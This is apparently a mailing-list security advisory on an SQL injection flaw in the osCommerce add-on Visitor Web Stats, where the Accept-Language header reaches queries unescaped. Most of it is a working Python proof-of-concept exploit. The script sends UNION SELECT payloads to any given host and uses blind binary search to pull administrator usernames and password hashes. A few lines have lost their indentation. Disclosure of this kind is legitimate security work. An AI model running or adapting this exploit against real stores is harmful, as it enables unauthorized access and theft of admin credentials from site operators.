[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

SQL injection in OSCommerce Add-On Visitor Web Stats



Popular OSC add-on Visitor Web Stats is completely vulnerable to SQL injections. Although it uses request data (i. e. the Accept-Language header), there's no escaping at all.

This also applies to the extension's derivative for OSC 3, who's author completely inherited the insufficient code structure.

I've contacted the official maintainer weeks ago, but he rejected to offer a fix. It seems he didn't even put up a note about the issue.

Since most SELECT queries are only used to determine whether the result is empty or not, the potential is somewhat limited, but as a PoC the following Python code gives you the names and hashed passwords of all the admins by going through a binary search tree. (Note that versions older than 2.2RC1 do not have admin users; they protect the admin site only by htaccess)


import sys
import http.client

if len(sys.argv) < 2:
	print("usage: " + sys.argv[0] + " <host> [<path>]")
	sys.exit();

host = sys.argv[1]
if len(sys.argv) > 2:
	path = sys.argv[2]
else:
	path = "/"

def req(lang):
	c = http.client.HTTPConnection(host)
	c.request('GET', path, '', {'Accept-Language': lang})
	return c.getresponse().read();

def check(condition):
r = req("' AND 1=0 UNION SELECT id FROM administrators " + condition + " -- '")
	if r.find(b'update') != -1:
		return 1;
	elif r.find(b'Unknown column') != -1:
		print('Unknown database structure (no rc version?)')
		sys.exit();
	return 0;

if req("'").find(b'select counter FROM visitors where browser_ip') == -1:
print('Target does not seem to have (a vulnarable version of) Visitor Web Stats or doesn\'t output any error messages')
	sys.exit();

admin_count = 1
while not check("HAVING COUNT(*) = " + str(admin_count)):
	admin_count += 1;
print("Number of admins: " + str(admin_count))

pw_chars = [x for x in range(48, 58)]
pw_chars.extend([x for x in range(97, 103)])
pw_chars.sort()

todo = [('', 0, 255)]
while len(todo):
	(found, start, end) = todo.pop()
if start == 0 and end == 255 and check("WHERE user_name = '" + found + "'"):
		sys.stdout.write(found + " ")
		sys.stdout.flush()
		for i in range(35):
			if i == 32:
				sys.stdout.write(":")
				sys.stdout.flush()
				continue
			pw_start, pw_end = 0, len(pw_chars) - 1
			while pw_start != pw_end:
				pw_mid = int((pw_start + pw_end) / 2)
if check("WHERE user_name = '" + found + "' AND ORD(SUBSTRING(user_password, " + str(i + 1) + ", 1)) <= " + str(pw_chars[pw_mid])):
					pw_end = pw_mid
				else:
					if pw_mid == pw_end - 1:
						pw_start = pw_end
					else:
						pw_start = pw_mid
			sys.stdout.write(chr(pw_chars[pw_start]))
			sys.stdout.flush()
		print()
if not check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = '" + found + "' AND SUBSTRING(user_name, " + str(len(found) + 1) + ", 1) > 0"):
			continue;
	mid = int((start + end) / 2)
if check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = '" + found + "' AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) + ", 1)) <= " + str(mid) + " AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) + ", 1)) > 0"):
		if mid == start + 1:
			todo.append((found + chr(mid), 0, 255))
		else:
			todo.append((found, start, mid))
if check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = '" + found + "' AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) + ", 1)) > " + str(mid)):
		if mid == end - 1:
			todo.append((found + chr(end), 0, 255))
		else:
			todo.append((found, mid, end))